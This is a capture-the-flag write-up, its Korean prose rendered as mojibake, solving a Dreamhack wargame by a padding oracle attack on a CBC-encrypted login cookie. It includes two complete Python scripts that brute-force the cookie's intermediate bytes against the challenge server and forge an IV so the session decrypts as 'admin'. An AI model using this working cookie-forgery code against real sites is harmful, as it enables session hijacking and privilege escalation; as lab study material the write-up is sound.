1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/325

 

[wargame.kr] dun worry about the vase

Description Do you know about "padding oracle vulnerability" ?

dreamhack.io

 

์ด ๋ฌธ์ œ๋Š” Pading Oracle ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๋ฌธ์ œ์ž„์„ ๋ช…์‹œํ•˜๊ณ  ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ ๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ์ „ ํŒจ๋”ฉ ์˜ค๋ผํด ์ทจ์•ฝ์ ์— ์ •๋ฆฌํ•˜์˜€๋‹ค. 

2025.03.07 - [Study/WebHacking] - Padding Oracle ์ทจ์•ฝ์ 

2. ํ•ด๊ฒฐ ๊ณผ์ • 

(1) ๋ฌธ์ œ ํŽ˜์ด์ง€ ์ ‘์†

 

๋กœ๊ทธ์ธ form์ด ๋ณด์ด๊ณ  guest/guest๊ฐ€ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์ž…๋ ฅ๋˜์–ด ์žˆ๋‹ค. 

 

 

๊ฐ’ ๊ทธ๋Œ€๋กœ ๋กœ๊ทธ์ธ์„ ํ•˜๋ฉด admin ์„ธ์…˜์„ ์–ป์œผ๋ผ๋Š” ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋œ๋‹ค. 

์„ธ์…˜ ๊ฐ’์€ L0g1n์— ์ €์žฅ๋˜์–ด์žˆ๋‹ค.         

                              

 

ํ•ด๋‹น ์„ URL ๋””์ฝ”๋”ฉ ํ•ด๋ณด๋ฉด Base64๋กœ ์ธ์ฝ”๋”ฉ ๋œ ๋‘๊ฐœ์˜ ๊ฐ’์ด ๋ณด์ธ๋‹ค.

 

Base64๋กœ ๋””์ฝ”๋”ฉํ•ด๋ณด๋ฉด ๋‘ ๊ฐœ์˜ ์•”ํ˜ธ๋ฌธ ์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ๊ฐ’์ด ๋ณด์ธ๋‹ค. ์ฆ‰, ์šฐ๋ฆฌ๋Š” ์˜ค๋ผํด ํŒจ๋”ฉ ์ทจ์•ฝ์  ๊ณต๊ฒฉ์„ ํ•  ์ˆ˜ ์žˆ๋Š” ๋‘ ๊ฐœ์˜ ์•”ํ˜ธ๋ฌธ์„ ์•Œ ์ˆ˜ ์žˆ๊ฒŒ ๋œ ๊ฒƒ์ด๋‹ค. 

๋‘ ๊ฐœ์˜ ์•”ํ˜ธ๋ฌธ์ด ์•„๋‹ˆ์˜€๋‹ค. ๋‚ด๊ฐ€ ์ฐฉ๊ฐํ•œ ๊ฒƒ์ธ๋ฐ ์•”ํ˜ธํ™” ์‹œ์Šคํ…œ์—์„œ IV์™€ ์•”ํ˜ธ๋ฌธ์„ ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์€ CBC ๋ชจ๋“œ์™€ ๊ฐ™์€ ์•”ํ˜ธํ™” ๋ฐฉ์‹์—์„œ IV์™€ ์•”ํ˜ธ๋ฌธ์„ ํ•จ๊ป˜ ์ „์†กํ•  ๋•Œ ํ”ํ•˜๊ฒŒ ์‚ฌ์šฉ๋œ๋‹ค๊ณ  ํ•œ๋‹ค. 

๋”ฐ๋ผ์„œ ์ฒซ๋ฒˆ์งธ ๊ฐ’์ด ์ดˆ๊ธฐํ™” ๋ฒกํ„ฐ๊ฐ’์ด๊ณ  ๋‘๋ฒˆ์งธ ๊ฐ’์ด ์ฒซ๋ฒˆ์งธ ์•”ํ˜ธ๋ฌธ์ด ๋  ๊ฒƒ์ด๋‹ค. 

 

๋”ฐ๋ผ์„œ ์˜ค๋ผํด ํŒจ๋”ฉ ๊ณต๊ฒฉ์„ ํ•˜๋Š” ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์งœ๋ณด์•˜๋‹ค. 

 

(2) ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ ์ž‘์„ฑ 

 

๊ณต๊ฒฉ์— ํ•„์š”ํ•œ ์ •๋ณด๋Š” ์•”ํ˜ธ๋ฌธ 2๊ฐœ, ์ฟ ํ‚ค ์ •๋ณด, ์‘๋‹ต์˜ ์ฐจ์ด์ด๋‹ค. ์•ž์„œ ํ™•์ธํ–ˆ๋“ฏ์ด ์ฟ ํ‚ค ์ด๋ฆ„์€  L0g1n์ด์—ˆ๋‹ค.

๋‹ค์Œ์œผ๋กœ  ์‘๋‹ต์ด ์–ด๋–ป๊ฒŒ ๋œจ๋Š”์ง€ ์ฐจ์ด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ ์ž„์˜๋กœ ์กฐ์ž‘ํ•œ ์„ธ์…˜๊ฐ’์„ ๋„ฃ์–ด ์‘๋‹ต๊ฐ’์„ ํ™•์ธํ•˜์˜€๋‹ค.

 

U7wAePQAwEk%3DX5oZDe%2FIlKhQ%3D (๋‘ ๋ธ”๋ก ์‚ฌ์ด์— X ์ถ”๊ฐ€ ๋“ฑ) ์„ธ์…˜๊ฐ’์„ ๋ณ€๊ฒฝํ•ด์„œ ๋„ฃ์–ด๋ณธ ๊ฒฐ๊ณผ ํŒจ๋”ฉ ์—๋Ÿฌ ์ฐฝ์ด ๋œจ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. 

 

์‚ฌ์‹ค ์ด ์œ„ ์—๋Ÿฌ๋งŒ ์กด์žฌํ•˜๋Š” ์ค„ ์•Œ์•˜๋Š”๋ฐ ํŒจ๋”ฉ๊ฐ’์€ ๋งž๋Š”๋ฐ ๋ณตํ˜ธํ™”ํ•œ ๊ฐ’์ด ํ‹€๋ฆฐ ๊ฒฝ์šฐ๊ฐ€ ์กด์žฌํ•œ๋‹ค.

๋จผ์ €, guest ์„ธ์…˜๊ฐ’์˜ ํ‰๋ฌธ์ด ์–ด๋–ค ํ˜•ํƒœ์ธ์ง€๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด ์•”ํ˜ธ๋ฌธ์„ ๋ณตํ˜ธํ™”ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์˜€๋‹ค. 

#!/usr/bin/env python3
import base64
import urllib.parse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ์„œ๋ฒ„ ์ •๋ณด ์„ค์ •
TARGET_URL = "http://host3.dreamhack.games:22704/main.php"
COOKIE_NAME = "L0g1n"
SESSION_VALUE = "n4nzbNJMt1M%3DqWWNnk1v5fU%3D" # URL ์ธ์ฝ”๋”ฉ๋œ ์„ธ์…˜ ๊ฐ’
# URL ๋””์ฝ”๋”ฉ
decoded_session = urllib.parse.unquote(SESSION_VALUE)
print(f"[+] URL ๋””์ฝ”๋”ฉ๋œ ์„ธ์…˜ ๊ฐ’: {decoded_session}")
# ์„ธ์…˜ ๊ฐ’์„ IV์™€ ์•”ํ˜ธ๋ฌธ์œผ๋กœ ๋ถ„๋ฆฌ
parts = decoded_session.split('=')
iv_b64 = parts[0]
ciphertext_b64 = parts[1]
# Base64 ํŒจ๋”ฉ ์ˆ˜์ •
if len(iv_b64) % 4 != 0:
iv_b64 += '=' * (4 - len(iv_b64) % 4)
if len(ciphertext_b64) % 4 != 0:
ciphertext_b64 += '=' * (4 - len(ciphertext_b64) % 4)
# Base64 ๋””์ฝ”๋”ฉ
try:
iv = base64.b64decode(iv_b64)
ciphertext = base64.b64decode(ciphertext_b64)
print(f"[+] IV (hex): {iv.hex()}")
print(f"[+] ์•”ํ˜ธ๋ฌธ (hex): {ciphertext.hex()}")
print(f"[+] IV ๊ธธ์ด: {len(iv)} ๋ฐ”์ดํŠธ")
print(f"[+] ์•”ํ˜ธ๋ฌธ ๊ธธ์ด: {len(ciphertext)} ๋ฐ”์ดํŠธ")
except Exception as e:
print(f"[!] Base64 ๋””์ฝ”๋”ฉ ์˜ค๋ฅ˜: {e}")
exit(1)
# ์š”์ฒญ ์ „์†ก ํ•จ์ˆ˜
def send_payload(s, payload):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Cookie': f'{COOKIE_NAME}={payload};'
}
r = s.get(TARGET_URL, headers=headers, verify=False)
return r.text
# XOR ์—ฐ์‚ฐ ํ•จ์ˆ˜
def xor(data, key):
output = bytearray()
for i, ch in enumerate(data):
output.append(ch ^ key[i % len(key)])
return bytes(output)
# ์ฟ ํ‚ค ์ƒ์„ฑ ํ•จ์ˆ˜
def make_cookie(iv, enc):
iv_b64 = base64.b64encode(iv).decode()
enc_b64 = base64.b64encode(enc).decode()
return urllib.parse.quote(f"{iv_b64}={enc_b64}")
def main():
# ์„ธ์…˜ ๊ฐ์ฒด ์ƒ์„ฑ
s = requests.Session()
# ๋ธ”๋ก ํฌ๊ธฐ ํ™•์ธ
block_size = len(iv)
# ์ค‘๊ฐ„๊ฐ’ ์ €์žฅ์šฉ ๋ณ€์ˆ˜
intermediate_values = b''
print("\n[*] ํŒจ๋”ฉ ์˜ค๋ผํด ๊ณต๊ฒฉ ์‹œ์ž‘...")
# ๊ฐ ๋ฐ”์ดํŠธ ์œ„์น˜์— ๋Œ€ํ•œ ๊ณต๊ฒฉ ์ˆ˜ํ–‰
for i in range(1, block_size + 1):
byte_pos = block_size - i # ํ˜„์žฌ ์ž‘์—… ์ค‘์ธ ๋ฐ”์ดํŠธ ์œ„์น˜
print(f"\n[*] ๋ฐ”์ดํŠธ ์œ„์น˜ {byte_pos} ๋ณตํ˜ธํ™” ์ค‘...")
# ํŒจ๋”ฉ ๊ฐ’ (PKCS#7)
padding_value = i
# IV์˜ ์‹œ์ž‘ ๋ถ€๋ถ„ (๋ณ€๊ฒฝํ•˜์ง€ ์•Š์„ ๋ถ€๋ถ„)
iv_prefix = iv[:byte_pos]
# ์ด๋ฏธ ์•Œ์•„๋‚ธ ์ค‘๊ฐ„๊ฐ’์„ ์ด์šฉํ•œ ํŒจ๋”ฉ ์กฐ์ž‘
iv_suffix = b''
for known_pos in range(block_size - 1, byte_pos, -1):
known_idx = block_size - 1 - known_pos
iv_suffix += bytes([intermediate_values[known_idx] ^ padding_value])
# ํ˜„์žฌ ๋ฐ”์ดํŠธ์— ๋Œ€ํ•œ ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ ๊ฐ’ ์‹œ๋„
found = False
for j in range(256):
# ์กฐ์ž‘๋œ IV ์ƒ์„ฑ
test_iv = iv_prefix + bytes([j]) + iv_suffix
# ์ฟ ํ‚ค ์ƒ์„ฑ
test_cookie = make_cookie(test_iv, ciphertext)
# ์š”์ฒญ ์ „์†ก
res = send_payload(s, test_cookie)
# ํŒจ๋”ฉ์ด ์œ ํšจํ•œ์ง€ ํ™•์ธ - padding error๊ฐ€ ์—†์œผ๋ฉด ์œ ํšจ
if 'padding error' not in res:
# ์ค‘๊ฐ„๊ฐ’ ๊ณ„์‚ฐ: intermediate = found_value ^ padding_value
intermediate_byte = j ^ padding_value
# ํ‰๋ฌธ ๊ณ„์‚ฐ: plaintext = intermediate ^ iv_byte
plaintext_byte = intermediate_byte ^ iv[byte_pos]
print(f"[+] ๊ฐ’ ๋ฐœ๊ฒฌ: 0x{j:02x}")
print(f"[+] ์ค‘๊ฐ„๊ฐ’: 0x{intermediate_byte:02x}")
print(f"[+] ํ‰๋ฌธ ๋ฐ”์ดํŠธ: 0x{plaintext_byte:02x} (ASCII: {chr(plaintext_byte) if 32 <= plaintext_byte <= 126 else '?'})")
# ๋ฐœ๊ฒฌํ•œ ์ค‘๊ฐ„๊ฐ’ ์ €์žฅ
intermediate_values = bytes([intermediate_byte]) + intermediate_values
found = True
break
if not found:
print(f"[!] ์œ„์น˜ {byte_pos}์—์„œ ๊ฐ’์„ ์ฐพ์ง€ ๋ชปํ•จ, 0์œผ๋กœ ์„ค์ •")
intermediate_values = bytes([0]) + intermediate_values
# ๋ณตํ˜ธํ™”๋œ ํ‰๋ฌธ ๊ณ„์‚ฐ
plaintext = xor(intermediate_values, iv)
print("\n[+] ๋ณตํ˜ธํ™” ์™„๋ฃŒ!")
print(f"[+] ์ค‘๊ฐ„๊ฐ’ (hex): {intermediate_values.hex()}")
print(f"[+] ํ‰๋ฌธ (hex): {plaintext.hex()}")
try:
print(f"[+] ํ‰๋ฌธ (ASCII): {plaintext.decode('utf-8', errors='replace')}")
except Exception as e:
print(f"[!] ํ‰๋ฌธ์„ ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์—†์Œ: {e}")
if __name__ == "__main__":
main()

 

[์‹คํ–‰ ๊ฒฐ๊ณผ]

 

guest ๊ณ„์ •์˜ ์•”ํ˜ธ๋ฌธ์„ ๋ณตํ˜ธํ™”ํ•˜๋ฉด guest๊ฐ€ ๋‚˜์˜จ๋‹ค.

์ฆ‰, 8๋ฐ”์ดํŠธ ๋ธ”๋ก ์•”ํ˜ธ์—์„œ "guest"๋Š” 5๋ฐ”์ดํŠธ์ด๋ฏ€๋กœ, PKCS#7 ํŒจ๋”ฉ์„ ์ ์šฉํ•˜๋ฉด "guest\x03\x03\x03"์ด๋‹ค. 

 

(3) ์ต์Šคํ”Œ๋กœ์ž‡

 

๋”ฐ๋ผ์„œ admin ๊ถŒํ•œ์„ ์–ป๊ธฐ ์œ„ํ•ด์„œ๋Š” ํ‰๋ฌธ์ด "admin\x03\x03\x03"์ด ๋˜๋„๋ก ํ•˜์—ฌ ์ค‘๊ฐ„๊ฐ’๊ณผ XOR ์—ฐ์‚ฐ์„ ํ•˜์—ฌ IV๊ฐ’์„ ์ƒ์„ฑํ•œ ๋’ค, ์›๋ž˜์˜ ์•”ํ˜ธ๋ฌธ๊ณผ ํ•ฉ์ณ ์„ธ์…˜๊ฐ’์„ ์ƒ์„ฑํ•œ ๋’ค ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ๋  ๊ฒƒ์ด๋‹ค. 

์›ํ•˜๋Š” ํ‰๋ฌธ์„ ์•”ํ˜ธํ™”ํ•˜๋Š” ๊ฒƒ์€ key๊ฐ’์„ ๋ชจ๋ฅด๊ธฐ ๋–„๋ฌธ์— ๋ถˆ๊ฐ€๋Šฅ

#!/usr/bin/env python3
import base64
from urllib.parse import quote, unquote
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ์„œ๋ฒ„ ์ •๋ณด ์„ค์ •
TARGET_URL = "http://host3.dreamhack.games:22704/main.php"
COOKIE_NAME = "L0g1n"
SESSION_VALUE = "n4nzbNJMt1M%3DqWWNnk1v5fU%3D" # URL ์ธ์ฝ”๋”ฉ๋œ ์„ธ์…˜ ๊ฐ’
# ํŽ˜์ด๋กœ๋“œ ์ „์†ก
def send_payload(s, payload):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Cookie': f'{COOKIE_NAME}={payload};'
}
r = s.get(TARGET_URL, headers=headers, verify=False)
return r.text
# xor ํ•จ์ˆ˜
def xor(data, key):
output = bytearray()
for i, ch in enumerate(data):
output.append(ch ^ key[i % len(key)])
return bytes(output)
# hex๋กœ ๋ณ€ํ™˜ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜
def hex_view(data):
temp = data.hex()
ret = ""
for i in range(0, len(temp), 2):
ret += temp[i:i+2] + " "
return ret
# cookie ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜
def make_cookie(iv, enc):
return quote(base64.b64encode(iv)) + quote(base64.b64encode(enc))
def main():
# ์ดˆ๊ธฐ ๊ฐ’ ์„ค์ •
decoded_session = unquote(SESSION_VALUE)
parts = decoded_session.split('=')
iv_b64 = parts[0] + "="
ciphertext_b64 = parts[1] + "="
try:
iv = base64.b64decode(iv_b64)
enc = base64.b64decode(ciphertext_b64)
except Exception as e:
print(f"[!] Base64 ๋””์ฝ”๋”ฉ ์˜ค๋ฅ˜: {e}")
if len(iv_b64) % 4 != 0:
iv_b64 += '=' * (4 - len(iv_b64) % 4)
if len(ciphertext_b64) % 4 != 0:
ciphertext_b64 += '=' * (4 - len(ciphertext_b64) % 4)
iv = base64.b64decode(iv_b64)
enc = base64.b64decode(ciphertext_b64)
inter = b''
s = requests.Session()
# ํ˜„์žฌ IV์™€ ENC ์ถœ๋ ฅ
print("IV => {}".format(hex_view(iv)))
print("์•”ํ˜ธ๋ฌธ => {}".format(hex_view(enc)))
print(f"IV ๊ธธ์ด: {len(iv)} ๋ฐ”์ดํŠธ")
print(f"์•”ํ˜ธ๋ฌธ ๊ธธ์ด: {len(enc)} ๋ฐ”์ดํŠธ")
print("\n[*] ํŒจ๋”ฉ ์˜ค๋ผํด ๊ณต๊ฒฉ ์‹œ์ž‘...")
# iv ๋งŒ๋“œ๋Š” ๊ณผ์ • 1~iv๊ธธ์ด+1 ๊นŒ์ง€
for i in range(1, len(iv) + 1):
# iv ์‹œ์ž‘์  ์ง€์ •
start = iv[:len(iv) - i]
for j in range(0, 0xff + 1):
# target = start + (0x00~0xff ์ค‘ 1๊ฐœ) + xor(inter ๋’ค์ง‘์€๊ฑฐ, i)
target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
cookie = make_cookie(target, enc)
res = send_payload(s, cookie)
# ์ง„ํ–‰ ์ƒํ™ฉ ํ‘œ์‹œ
if j % 32 == 0:
print(f"[*] ํ…Œ์ŠคํŠธ ์ค‘: ํŒจ๋”ฉ {i}, ๊ฐ’ {j}/255")
if 'padding error' not in res:
print(f"[+] ๊ฐ’ ๋ฐœ๊ฒฌ: ํŒจ๋”ฉ {i}, ๊ฐ’ {j}")
break
# padding error๊ฐ€ ์•ˆ๋œจ๋ฉด ์ •์ƒ์ด๋ฏ€๋กœ ๊ตฌํ•œ ๊ฐ’ j์™€ ํ˜„์žฌ ํŒจ๋”ฉ ๊ฐ’ xor
inter += bytes([i ^ j])
# inter๋Š” ๋’ค๋ถ€ํ„ฐ ๊ตฌํ•˜๋Š” ๊ฒƒ ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋’ค์ง‘์–ด์„œ ์ถœ๋ ฅ
print(f"[+] ํ˜„์žฌ๊นŒ์ง€์˜ ์ค‘๊ฐ„๊ฐ’: {hex_view(inter[::-1])}")
# ๋‹ค ๊ตฌํ•ด์ง„ ์ธํ„ฐ ๋’ค์ง‘์–ด์„œ ๋ฆฌ์–ผ ์ธํ„ฐ๋กœ ๋งŒ๋“ฌ
inter = inter[::-1]
# ์›๋ณธ ํ‰๋ฌธ ํ™•์ธ
plain = xor(inter, iv)
print("\n[+] ๋ณตํ˜ธํ™” ์™„๋ฃŒ!")
print(f"[+] ์›๋ณธ ํ‰๋ฌธ (hex): {hex_view(plain)}")
print(f"[+] ์›๋ณธ ํ‰๋ฌธ (ASCII): {plain.decode('utf-8', errors='replace')}")
# admin ์„ธ์…˜ ์ƒ์„ฑ
print("\n[*] Admin ์„ธ์…˜ ์ƒ์„ฑ ์ค‘...")
admin_plain = b"admin\x03\x03\x03" # 8๋ฐ”์ดํŠธ ๋ธ”๋ก์— ๋งž์ถ˜ admin + ํŒจ๋”ฉ
print(f"[+] ์›ํ•˜๋Š” ํ‰๋ฌธ (hex): {hex_view(admin_plain)}")
# ์ค‘๊ฐ„๊ฐ’๊ณผ ์›ํ•˜๋Š” ํ‰๋ฌธ์œผ๋กœ ์ƒˆ IV ๊ณ„์‚ฐ: IV' = D(C) XOR P'
mod_iv = xor(inter, admin_plain)
print(f"[+] ์ƒˆ IV (hex): {hex_view(mod_iv)}")
# ๊ด€๋ฆฌ์ž ์ฟ ํ‚ค ์ƒ์„ฑ
admin_cookie = make_cookie(mod_iv, enc)
print(f"[+] Admin ์„ธ์…˜๊ฐ’: {admin_cookie}")
# Admin์œผ๋กœ ํŽ˜์ด์ง€ ์š”์ฒญ ๋ฐ ์‘๋‹ต ํ™•์ธ
print("\n[*] Admin ์„ธ์…˜์œผ๋กœ ํŽ˜์ด์ง€ ์š”์ฒญ ์ค‘...")
res = send_payload(s, admin_cookie)
# ์‘๋‹ต ๋‚ด์šฉ ํ™•์ธ
print("[+] ์‘๋‹ต ํŽ˜์ด์ง€ ๋‚ด์šฉ:")
print("-" * 50)
print(res)
print("-" * 50)
if __name__ == "__main__":
main()

[๊ฒฐ๊ณผ]

 

 

์‹ค์ œ๋กœ ์„ธ์…˜์„ ์กฐ์ž‘ํ•ด์„œ ์š”์ฒญ์„ ๋ณด๋‚ด๋ณด์•„๋„ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋™์ผํ•˜๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. 

mnzy๐ŸŒฑ
-->